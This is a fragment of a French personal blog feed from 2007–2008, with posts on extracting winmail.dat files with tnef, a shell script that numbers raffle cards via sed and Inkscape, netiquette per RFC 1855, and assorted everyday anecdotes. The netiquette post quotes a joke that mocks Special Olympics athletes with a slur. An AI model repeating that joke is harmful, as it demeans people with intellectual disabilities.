&lt;p&gt;&lt;strong&gt;Édité le 10 juin 2008&lt;/strong&gt;, partie webcam&lt;/p&gt;</content></entry><entry><title>Winmail.dat et tnef</title><link href="http://blog.namok.be/2008-04-26-185-winmaildat-et-tnef.html" rel="alternate"/><published>2008-04-26T00:00:00+02:00</published><updated>2008-04-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-04-26:/2008-04-26-185-winmaildat-et-tnef.html</id><summary type="html">Il existe (presque) toujours un paquet debian qui va bien</summary><content type="html">&lt;p&gt;Ce matin je reçois un mail d&amp;rsquo;un copain, utilisateur de MS Windows et de Outloock, dont l&amp;rsquo;attachement est de la forme &lt;code&gt;winmail.dat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Comment extraire de ce fichier les PDF qu&amp;rsquo;il m&amp;rsquo;a envoyés ?&lt;/p&gt;
&lt;p&gt;Une rapide recherche sur internet et je trouve un paquet Debian qui fait l&amp;rsquo;affaire, j&amp;rsquo;ai nommé &lt;strong&gt;&lt;code&gt;tnef&lt;/code&gt;&lt;/strong&gt;.Un petit &lt;code&gt;aptitude install tnef&lt;/code&gt; et 152Ko plus tard, je peux profiter de mes attachements tant attendus via la commande &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tnef&lt;span class="w"&gt; &lt;/span&gt;winmail.dat.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Facile. &lt;br&gt;
Rapide.&lt;br&gt;
Efficace.&lt;br&gt;
Merci Debian.&lt;/p&gt;</content></entry><entry><title>Cartes de tombola</title><link href="http://blog.namok.be/2008-02-22-177-cartes-de-tombola.html" rel="alternate"/><published>2008-02-22T00:00:00+01:00</published><updated>2008-02-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-02-22:/2008-02-22-177-cartes-de-tombola.html</id><summary type="html">Comment imprimer des numéros sur une carte de tombola ?</summary><content type="html">&lt;p&gt;&lt;img alt="Tombola" src="/images/Tombola_by_kalifotografia.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai une copine qui débute en petite imprimerie. Elle s&amp;rsquo;est achetée deux bonnes imprimantes et un Mac. Elle fait son petit merdier, pas de soucis.&lt;/p&gt;
&lt;p&gt;Jusque la tout va bien.&lt;/p&gt;
&lt;p&gt;Il y a quelques jours, je reçois un coup de fil.&lt;/p&gt;
&lt;p&gt;— Ouais, Pit il sait ça, dixit&lt;/p&gt;
&lt;p&gt;Coup de fil me demandant comment faire pour imprimer des cartes de tombola — facile —- mais numérotées. C&amp;rsquo;est un boulot somme toute standard. Vous voyez, les cartes de tombola qu&amp;rsquo;il faut vendre pour le football, les pompiers, l&amp;rsquo;école, etc. ?&lt;/p&gt;
&lt;p&gt;Bon, c&amp;rsquo;est pas si facile de les numéroter en fait ! &lt;/p&gt;
&lt;p&gt;En fait ce n&amp;rsquo;est pas facile si l&amp;rsquo;on n&amp;rsquo;a pas la machine qui fait la numérotation automatique. J&amp;rsquo;ai demandé à des copains imprimeurs qui m&amp;rsquo;ont expliqué que&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;soit la machine numérote en fin de parcours,&lt;/li&gt;
&lt;li&gt;soit l&amp;rsquo;imprimeur achète un numéroteur manuel et « tamponne » chacune de ses cartes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Numéroteur" class="right" src="/images/numeroteur.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Pour ce qui est de la machine, on oublie, c&amp;rsquo;est un petit imprimeur qui se lance et elle n&amp;rsquo;a pas envie de sous-traiter la numérotation. Le numéroteur manuel ne l&amp;rsquo;enchante pas non plus : pas envie d&amp;rsquo;acheter du matériel supplémentaire ni de tamponner 2000 cartes. De plus le résultat est moins beau puisque la police correspond rarement et que l&amp;rsquo;on voit le relief dû au tampon.&lt;/p&gt;
&lt;p&gt;Il faut donc une autre solution.&lt;/p&gt;
&lt;p&gt;Pendant que je poste sur Linux FR (aka DLFP), elle se renseigne un peu et reçoit les réponses évidentes à la :&lt;/p&gt;
&lt;p&gt;— Fait du publipostage Word, Access et consorts.&lt;/p&gt;
&lt;p&gt;Là c&amp;rsquo;est moi qui n&amp;rsquo;aime pas trop et qui trouve ça peu élégant.
Dans l&amp;rsquo;intervalle, je reçois une réponse sur LinuxFR.  &lt;/p&gt;
&lt;p&gt;Damned !&lt;br&gt;
Comment n&amp;rsquo;y ai-je pas pensé ?  &lt;/p&gt;
&lt;p&gt;Le format d&amp;rsquo;Inkscape c&amp;rsquo;est du XML et donc un p&amp;rsquo;tit &lt;code&gt;sed&lt;/code&gt; peut m&amp;rsquo;aider (sourire béat).
Un script de ce genre devrait faire l&amp;rsquo;affaire&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2000&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;carte.svg&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;s/####/&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;tmp.svg&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;inkscape&lt;span class="w"&gt; &lt;/span&gt;-z&lt;span class="w"&gt; &lt;/span&gt;tmp.svg&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;pdf/tombola_&lt;span class="nv"&gt;$i&lt;/span&gt;.pdf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je vais générer 2000 fichiers PDF contenant chacun une carte numérotée. Je sais c&amp;rsquo;est lourd mais ça devrait marcher &lt;strong&gt;et&lt;/strong&gt; c&amp;rsquo;est élégant &lt;strong&gt;et&lt;/strong&gt; le résultat est beau puisque le numéro s&amp;rsquo;intègre bien dans la carte de tombola(par contre xpdf me rend quelque chose de très laid et Acroread de très beau). En plus comme elle possède un Mac, j&amp;rsquo;espère que je pourrai lui apprendre à pêcher plutôt que de lui donner le poisson.&lt;/p&gt;
&lt;p&gt;Bon, retour à la réalité ;-)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;J&amp;rsquo;ai du le faire sur ma machine car son bash ne connait pas &lt;code&gt;seq&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Je n&amp;rsquo;ai pas pu générer un gros pdf et j&amp;rsquo;ai du me contenter des 2000 petits pdf (&lt;code&gt;pdfjoin&lt;/code&gt; ne supporte pas d&amp;rsquo;ouvrir 2000 fichiers).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;…mais dans l&amp;rsquo;ensemble ça marche.&lt;/p&gt;
&lt;p&gt;Il faut également tenir compte du fait que chaque fichier fait (dans mon essai) 270Ko et qu&amp;rsquo;une archive compressée de tout ça fait 171Mb mais bon, c&amp;rsquo;est jouable.&lt;/p&gt;
&lt;p&gt;Voilà voilà, je suis très content de cette solution élégante à ce problème de génération de cartes de tombolas numérotées.&lt;/p&gt;</content></entry><entry><title>Pourquoi on va tous mourir ?</title><link href="http://blog.namok.be/2008-02-22-178-pourquoi-on-va-tous-mourir.html" rel="alternate"/><published>2008-02-22T00:00:00+01:00</published><updated>2008-02-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-02-22:/2008-02-22-178-pourquoi-on-va-tous-mourir.html</id><summary type="html">Pourquoi on va tous mourir ?</summary><content type="html">&lt;p&gt;&lt;img alt="Smog" src="/images/au_dessus_des_nuages_by_jbuth_d8cki7p-fullview.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Je sais que nous ne sommes pas éternels mais j&amp;rsquo;imaginais encore naïvement que l&amp;rsquo;homme était bon. Perdu, en général, l&amp;rsquo;homme est très con (ne vous inquiétez pas, je suis dans le même panier. Quoique).&lt;/p&gt;
&lt;p&gt;Or donc depuis quelques temps, on entend à la radio et un peu partout que lorsque c&amp;rsquo;est smog, il &lt;strong&gt;faut&lt;/strong&gt; rouler à 90 Km/h en Flandre et à Bruxelles et on &lt;strong&gt;peut&lt;/strong&gt; rouler à cette même vitesse en Wallonie. Si la règle n&amp;rsquo;est pas la même partout, c&amp;rsquo;est parce que les politiques sont très cons. Enfin, c&amp;rsquo;est comme ça que je le comprend mais si c&amp;rsquo;est moi le con, une âme charitable passant par ici peut m&amp;rsquo;expliquer (je sais que c&amp;rsquo;est fédéral &lt;em&gt;bla bla&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai déjà donc eu deux fois le coup de devoir rouler en allant conduire les enfants à l&amp;rsquo;école et aller chercher le train ensuite, un de ces jours de smog. Personne ne sera étonné de lire que aucun (ou presque) conducteur n&amp;rsquo;a pris l&amp;rsquo;initiative de rouler à 90 Km/h. Ben non, puisque ce n&amp;rsquo;est pas obligatoire, je ne vais pas le faire, je suis un homme important et pressé moi.&lt;/p&gt;
&lt;p&gt;On va tous mourir.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez DeviantArt par &lt;a href="https://www.deviantart.com/jbuth/art/Au-dessus-des-nuages-504841525"&gt;JButh&lt;/a&gt;.&lt;/em&gt; &lt;/p&gt;</content></entry><entry><title>Commerçants pas très commerçant</title><link href="http://blog.namok.be/2008-01-04-174-commercants-pas-tres-commercant.html" rel="alternate"/><published>2008-01-04T00:00:00+01:00</published><updated>2008-01-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-01-04:/2008-01-04-174-commercants-pas-tres-commercant.html</id><summary type="html">Commerçants pas très commerçant</summary><content type="html">&lt;p&gt;Nous fréquentons tous des commerçants. Certains d&amp;rsquo;entre nous plus que d&amp;rsquo;autres. Certains d&amp;rsquo;entre nous avec plus de chance que d&amp;rsquo;autres.&lt;/p&gt;
&lt;p&gt;Je parle bien ici de commerçants et pas d&amp;rsquo;indépendants (je reviendrai sans doute un jour sur les indépendants).&lt;/p&gt;
&lt;p&gt;Or donc, je fréquente parfois les commerces. Je parlerai aujourd&amp;rsquo;hui de « mon » coiffeur et d&amp;rsquo;un magasin d&amp;rsquo;électroménager.&lt;/p&gt;
&lt;p&gt;Le décors est planté même si je n&amp;rsquo;ai pas grand chose à dire. Je trouve que la conscience professionnelle est en voir de disparition (c&amp;rsquo;est encore une autre histoire et j&amp;rsquo;y reviendrai sans doute aussi).&lt;/p&gt;
&lt;p&gt;Parlons de mon coiffeur qui n&amp;rsquo;est pas le mien car j&amp;rsquo;ai un jour acheté une tondeuse et me suis passé de coiffeur mais bien du coiffeur des mes filles. Je trouve qu&amp;rsquo;un commerçant doit avoir la notion de &lt;strong&gt;geste commercial&lt;/strong&gt;. Il pourrait penser à sa carrière à long terme et il pourrait / devrait donc tenter de fidéliser le client. Il ne peut pas (devrait pas) penser à ses gains à courts termes. En effet n&amp;rsquo;est-il pas plus important de garder un client — qui reviendra à échéances fixes se faire coiffer — que de gagner quelques euros immédiatement ?&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;en viens à ma petite histoire d&amp;rsquo;aujourd&amp;rsquo;hui chez une coiffeuse pas loin de chez moi que nous essayions pour la première fois. Nous prenons rendez-vous pour nos deux filles ainées et comptons payer 2x10 EUR, soit 20 EUR de coiffeur (pour une 1/2 heure de travail, c&amp;rsquo;est correct). Nous arrivons avec les trois filles et nous demandons — ans la foulée — d&amp;rsquo;égaliser, sans shampoing — parrait que ça a de l&amp;rsquo;importance dans le milieu — les cheveux de la cadette. Trois coups de ciseaux et quatre minutes plus tard, c&amp;rsquo;était fait.
À la sortie, nous payons 30 EUR. La coiffeuse a très bien travaillé, nous avons été bien accueilli, elle a été professionnelle mais n&amp;rsquo;a pas été commerçante. Je trouve qu&amp;rsquo;un commerçant aurait cherché à conserver le client puisque nous venions pour la première fois et n&amp;rsquo;aurait pas fait payer la petite. Perte immédiate 10 EUR mais gain à long terme car elle peut se faire deux clientes. &lt;/p&gt;
&lt;p&gt;Dommage.&lt;/p&gt;
&lt;p&gt;La seconde histoire est plus courte. Je cherche à acquérir un décodeur TNT et je me suis dis que pour une fois je n&amp;rsquo;allais pas l&amp;rsquo;acheter via internet mais chez un commerçant (ah ah) du coin afin de faire vivre le commerce local. TL:DR, oublie. Déjà que la majorité des vendeurs de « grande surface » sont juste capables de lire l&amp;rsquo;étiquette du produit pour te renseigner (méchanceté gratuite), je ne pars pas gagnant. Je me rends chez un revendeur de matériel télé — Krëfel_— afin de me procurer un décodeur TNT (je n&amp;rsquo;espère pas recevoir de l&amp;rsquo;info). N&amp;rsquo;ayant pas trouvé, je décide de demander au vendeur et me place dans la file d&amp;rsquo;attente. Petite remarque, c&amp;rsquo;est l&amp;rsquo;horreur d&amp;rsquo;attendre là, c&amp;rsquo;est surchauffé (on parle que l&amp;rsquo;énergie coûte cher, les gens sont fous. Bref). Le vendeur s&amp;rsquo;occupe de moi et me dit :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nous n&amp;rsquo;avons pas de décodeur TNT… le mieux c&amp;rsquo;est d&amp;rsquo;aller sur… (roulement de tambour) Ebay allemagne, ils en ont de bons et pas cher.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Merci, ça c&amp;rsquo;est du commerce !&lt;br&gt;
Je suis sorti de là mort de rire et sans décodeur.&lt;/p&gt;</content></entry><entry><title>Netiquette</title><link href="http://blog.namok.be/2007-12-06-netiquette.html" rel="alternate"/><published>2007-12-06T00:00:00+01:00</published><updated>2007-12-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-12-06:/2007-12-06-netiquette.html</id><summary type="html">Quelles sont les règles communément acceptées pour la communication via Internet ?</summary><content type="html">&lt;p&gt;&lt;img alt="Un pigeon" src="/images/elegant_pigeon_by_yoniks-d3h98m2.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Régulièrement je me heurte à d&amp;rsquo;autres utilisateurs sur l&amp;rsquo;utilisation d&amp;rsquo;Internet au sens &lt;strong&gt;communication&lt;/strong&gt;. Je suis donc amené à expliquer encore quelles sont les règles communément acceptées pour la communication &lt;em&gt;one-to-one&lt;/em&gt; et &lt;em&gt;one-to-many&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Bon, plutôt que de me répéter, je vais concentrer ça ici, une bonne fois pour toutes. Je vais choisir les morceaux que j&amp;rsquo;aime et remettre les liens qui vont bien.&lt;/p&gt;
&lt;p&gt;Internet est utilisé par tous aujourd&amp;rsquo;hui mais n&amp;rsquo;en est pas a ses balbutiements pour autant. Ça fait quand même un bail que les gens communiquent sur le net. On peut même dire que c&amp;rsquo;est par là que tout à commencé. Bref, je me réfère dans cet article à la &lt;a href="//www.faqs.org/rfcs/rfc1855.html"&gt;&lt;strong&gt;RFC 1855&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;Request For Comments&lt;/em&gt;), on la trouve un peu partout sur le net et je conseille à tous de la lire un jour, c&amp;rsquo;est plein de bon sens.&lt;/p&gt;
&lt;h2&gt;Quoting message&lt;/h2&gt;
&lt;p&gt;Premier morceau choisi, au sujet de la manière de &lt;strong&gt;citer un message&lt;/strong&gt;. Et ceci est assez récurent sur Internet. Je dois avouer d&amp;rsquo;ailleurs que deux écoles se disputent. La première proche de la RFC et la seconde des utilisateurs de MS Outlook.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai tendance à préférer la manière « RFC » qui stipule que l&amp;rsquo;on cite d&amp;rsquo;abord un extrait du message original avant de répondre.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you are sending a reply to a message or a posting be sure you summarize the original at the top of the message, or include just enough text of the original to give a context. This will make sure readers understand when they start to read your response.&lt;/p&gt;
&lt;p&gt;Since NetNews, especially, is proliferated by distributing the postings from one host to another, it is possible to see a response to a message before seeing the original. Giving context helps everyone. But do not include the entire original!
&lt;br/&gt;
Extrait de la RFC&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ça se justifie bien puisque lorsque l&amp;rsquo;on lit, on aime se rappeler rapidement de quoi « ça parle ».&lt;/p&gt;
&lt;p&gt;Je préfère citer dessous mais je ne suis pas / plus rigide et je m&amp;rsquo;adapte à l&amp;rsquo;interlocuteur et au contexte. Par contre je n&amp;rsquo;aime pas lorsque l&amp;rsquo;on mélange les deux manières de faire …&lt;/p&gt;
&lt;h2&gt;Mailing-list and Reply-To&lt;/h2&gt;
&lt;p&gt;Ce deuxième morceau choisi au sujet du champ &lt;em&gt;Reply-To&lt;/em&gt; dans une mailing-list (liste de diffusion). Certains s&amp;rsquo;étonnent que ce champ réfère à la liste et pas à l&amp;rsquo;expéditeur. Je trouve ça normal aussi (sinon, je n&amp;rsquo;écrirais pas cet article) puisque le but d&amp;rsquo;une mailing-list est de communiquer en groupe. Je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Be careful when you reply to messages or postings. Frequently replies are sent back to the address which originated the post - which in many cases is the address of a list or group! You may accidentally send a personal response to a great many people, embarrassing all involved. It&amp;rsquo;s best to type in the address instead of relying on &amp;ldquo;reply.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The auto-reply feature of many mailers is useful for in-house communication, but quite annoying when sent to entire mailing lists. Examine &amp;ldquo;Reply-To&amp;rdquo; addresses when replying to messages from lists. Most auto-replys will go to all members of the list.
&lt;br/&gt;
Extrait de la RFC&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Par contre, il est de bon ton de ne pas répondre à la liste si ça n&amp;rsquo;intéresse pas tout le monde. On peut bien sur s&amp;rsquo;autoriser des messages hors sujet occasionnellement mais ça ne doit pas être répétitif et ça dépend de la &lt;em&gt;mailing-list&lt;/em&gt; sur laquelle on traîne.&lt;/p&gt;
&lt;h2&gt;Arguing on the Internet&lt;/h2&gt;
&lt;p&gt;Pour finir, il ne faut &lt;strong&gt;jamais&lt;/strong&gt; parler &lt;em&gt;politique&lt;/em&gt; ou &lt;em&gt;religion&lt;/em&gt; sur un forum ou dans une mailing-list. Certains vont même jusqu&amp;rsquo;à dire qu&amp;rsquo;essayer d&amp;rsquo;avoir raison sur Internet est une perte de temps.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Certains peuvent trouver la citation de mauvais goût. On n&amp;rsquo;argumentera pas ici mais disons qu&amp;rsquo;en 2007, ça passe)&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Arguing on the Internet is like running in the Special Olympics.&lt;br&gt;
Even if you win you still retarded.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bon, ça c&amp;rsquo;est fait et heureusement, il y a des citations plus &lt;em&gt;softs&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Argumenter sur Internet (ou avec des imbéciles), c&amp;rsquo;est comme jouer aux échecs avec un pigeon. Peu importe votre niveau, le pigeon va juste renverser toutes les pièces, chier sur le plateau et se pavaner fièrement comme s&amp;rsquo;il avait gagné.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je voulais aussi présenter deux derniers points : &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;ce qu&amp;rsquo;est un &lt;em&gt;flame war&lt;/em&gt;, littéralement « guerre des flammes » et &lt;a href="//fr.wikipedia.org/wiki/Flaming"&gt;Wikipedia nous l&amp;rsquo;explique bien comme d&amp;rsquo;habitude&lt;/a&gt;. Ce genre de post arrive un peu partout, les acteurs sont passionnés et postent parfois sans trop réfléchir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ce qu&amp;rsquo;est un &lt;em&gt;point Godwin&lt;/em&gt; ou la &lt;em&gt;loi Godwin&lt;/em&gt;. &lt;a href="http://fr.wikipedia.org/wiki/Loi_de_Godwin"&gt;Wikipedia nous l&amp;rsquo;explique une fois encore très bien&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bref, il y a mille choses à dire sur la Netiquette, le mieux est sans doute de lire le document. Et pour ceux qui font toujours l&amp;rsquo;inverse de ce que l&amp;rsquo;on dit ou qui, simplement, savent tout ça et veulent sourire un peu, je conseille la lecture de &lt;a href="http://paulbinocle.blogspot.com/2007/08/la-web-attitude-pour-les-nuls_16.html"&gt;&lt;strong&gt;« La web attitude pour les nuls de Paul Binocle »&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo DeviantArt, &lt;a href="//yoniks.deviantart.com/art/Elegant-Pigeon-210383066"&gt;Yoniks&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Augmentation des salaires</title><link href="http://blog.namok.be/2007-11-30-165-augmentation-des-salaires.html" rel="alternate"/><published>2007-11-30T00:00:00+01:00</published><updated>2007-11-30T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-11-30:/2007-11-30-165-augmentation-des-salaires.html</id><summary type="html">Les salaires augmentent (grâce au CAPAES) et Roger n'a pas baissé son froc.</summary><content type="html">&lt;p&gt;Mon bon collègue Yves — c&amp;rsquo;est mon collègue communiste — nous parlait dans la salle des profs de revendications salariales. En effet, puisque Sarkozy triple son salaire, que les fonctionnaires français descendent dans la rue et que le coût de la vie augmente, il n&amp;rsquo;y a pas de raison que nos salaires n&amp;rsquo;augmentent pas. Ça c&amp;rsquo;est fait, le décors est posé.&lt;/p&gt;
&lt;p&gt;Et bien les actualités lui donnent raison et quelques jours plus tard, j&amp;rsquo;entend à la radio que notre bon Pivot — l&amp;rsquo;indice hein, pas la dictée — se réveille, fait son office et que nous allons bénéficier d&amp;rsquo;une augmentation.&lt;/p&gt;
&lt;p&gt;YES ! Que vais-je faire ? Acheter une nouvelle auto ? Non, c&amp;rsquo;est déjà fait et puis c&amp;rsquo;est cher, suffisamment cher (ne pas parler du prix du mazout, ne pas parler du prix du mazout). Je vais peut-être en profiter pour acheter un nouveau portable avec mon premier mois d&amp;rsquo;augmentation ça devrait le faire… allez soyons réalistes, comptons deux mois et visons un portable à 700 EUR.&lt;/p&gt;
&lt;p&gt;Je me réveille et me rappelle avoir entendu parler de 2% d&amp;rsquo;augmentation. Ah d&amp;rsquo;accord, &lt;em&gt;bienvenue dans la vraie vie&lt;/em&gt;. Un rapide calcul donne 40 € d&amp;rsquo;augmentation par mois. Oui, je n&amp;rsquo;hésite pas à donner mon salaire mensuel — je le touche 12.5 fois par an — car seuls ceux qui gagnent trop n&amp;rsquo;osent pas le dire.&lt;/p&gt;
&lt;p&gt;Je vais peut-être acheter un nouveau portable quand même. Si j&amp;rsquo;obtiens un crédit, je pourrai le payer en 20 mois. Dans deux ans si tout va bien j&amp;rsquo;achèterai une souris…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sourions mon pouvoir d&amp;rsquo;achat vient de faire un grand bon en avant.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Notez bien. À aucun moment je ne me suis plains de mon salaire, ne l&amp;rsquo;ai jugé insuffisant. Je souris simplement de la valeur de l&amp;rsquo;augmentation mais c&amp;rsquo;est mieux que rien.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est mieux que rien.&lt;br&gt;
— « Mouton » me souffle Roger dans l&amp;rsquo;oreille. &lt;/p&gt;
&lt;p&gt;Vous ai-je déjà parlé de Roger ? Roger est un ancien collègue. Il ne m&amp;rsquo;aurait jamais dit &lt;em&gt;mouton&lt;/em&gt; mais plutôt : « Et quoi tu baisses ton froc ? ». Il n&amp;rsquo;a pas baissé son froc Roger. Il n&amp;rsquo;a pas passé son CAPAES (moi si) comme l&amp;rsquo;administration l&amp;rsquo;a exigé — après son engagement mais c&amp;rsquo;est une autre histoire » et il s&amp;rsquo;est fait virer. Damned, obligé de retrouver du travail (or qu&amp;rsquo;il aimait bien son boulot de prof). Ok, il est maintenant architecte d&amp;rsquo;applications (informaticien c&amp;rsquo;est tombé en désuétude) et gagne le triple.&lt;/p&gt;</content></entry><entry><title>Installer Java en console pour les blaireaux</title><link href="http://blog.namok.be/2007-10-03-154-installer-java-en-console-pour-les-blaireaux.html" rel="alternate"/><published>2007-10-03T00:00:00+02:00</published><updated>2007-10-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-10-03:/2007-10-03-154-installer-java-en-console-pour-les-blaireaux.html</id><summary type="html">Série « pour les blaireaux » : j'installe Java en console</summary><content type="html">&lt;p&gt;Voici le prochain screencast. Il montre comment installer un environnement de développement Java en console.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;avantage de la méthode proposée est qu&amp;rsquo;elle fonctionne quelle que soit la distribution choisie. Elle permet d&amp;rsquo;installer Java où l&amp;rsquo;on veut et comme l&amp;rsquo;on veut. L&amp;rsquo;inconvénient, c&amp;rsquo;est justement que l&amp;rsquo;on utilise pas le paquet prévu — préparé — par la distribution. C&amp;rsquo;est donc un peu plus complexe (oops j&amp;rsquo;ai osé écrire complexe).&lt;/p&gt;
&lt;video width="100%" muted controls&gt;
  &lt;source src="/video/blaireaux_installjavaconsole.ogm" type="video/ogg"&gt;
  Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;&lt;a href="//www.dailymotion.com/video/x34e2l"&gt;Lien dailymotion&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il est clair que l&amp;rsquo;on présente ici une méthode sans IDE. Si vous installez un IDE, par exemple Netbeans, l&amp;rsquo;installation installera également un JDK… mais où ?&lt;/p&gt;</content></entry><entry><title>Le spectacle de Marie et Katty</title><link href="http://blog.namok.be/2007-09-25-152-le-spectacle-de-marie-et-katty.html" rel="alternate"/><published>2007-09-25T00:00:00+02:00</published><updated>2007-09-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-09-25:/2007-09-25-152-le-spectacle-de-marie-et-katty.html</id><summary type="html">mjkv ou encore un petit site juste pour rendre service</summary><content type="html">&lt;p&gt;&lt;img alt="Des moules pour le 8 de septembre" src="/images/Des_Moules_by_BezedHashe.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Il y a peu se déroulait le spectacle de Marie et Katty — entendez le spectacle de l&amp;rsquo;atelier dance de la Maison Culturelle d&amp;rsquo;Ath — pour lesquelles j&amp;rsquo;ai fait le programme. Ne vous engagez jamais à faire un programme; ça prend un temps bête et c&amp;rsquo;est lu par un spectateur sur trois.&lt;/p&gt;
&lt;p&gt;Comme il me restait de l&amp;rsquo;espace en &lt;a href="http://namok.be/mjkv/projet/projetSpectacleMarie_p11.png"&gt;page 11&lt;/a&gt; je nous ai fait une pub à Tibus — responsable des décors — et à moi…ainsi qu&amp;rsquo;à tous ceux qui ont donné un coup de main. Il faut souligner que ce n&amp;rsquo;est pas une mince affaire de gérer ces enfants/ados/jeunes adultes qui doivent danser au bon moment. Je signale en passant que tout s&amp;rsquo;est bien passé et que le spectacle fut une réussite (ça c&amp;rsquo;est fait).
Et bien, je regarde aujourd&amp;rsquo;hui les logs du serveur et je vois qu&amp;rsquo;il y a eu &lt;strong&gt;44 visites&lt;/strong&gt; sur la page &lt;a href="//mjkv.namok.be"&gt;mjkv.namok.be&lt;/a&gt;. Pas terrible du tout. Sachant que la salle à une capacité de 550 personnes, on est loin du &amp;ldquo;1 personne sur 3&amp;rdquo; ;-)&lt;/p&gt;
&lt;p&gt;Le spectacle a eu lieu le &lt;em&gt;8 de septembre&lt;/em&gt; jour au combien important dans la région et, because plan foireux — heure tardive et enfants fatigués — nos moules sont passées à la trappe. Grr. On a rattrapé le coup et nous en avons mangés depuis. J&amp;rsquo;ai d&amp;rsquo;ailleurs testé les moules à la sauce roquefort. mmmmmmm.&lt;/p&gt;
&lt;p&gt;Ça me fait déjà le deuxième (au moins) plan foireux pour les moules du 8 de septembre. Je me souviens d&amp;rsquo;un 9 septembre passé à la mer en moto pour aller manger ces moules en rupture de stock au Mogador… mais c&amp;rsquo;est une autre histoire.&lt;/p&gt;
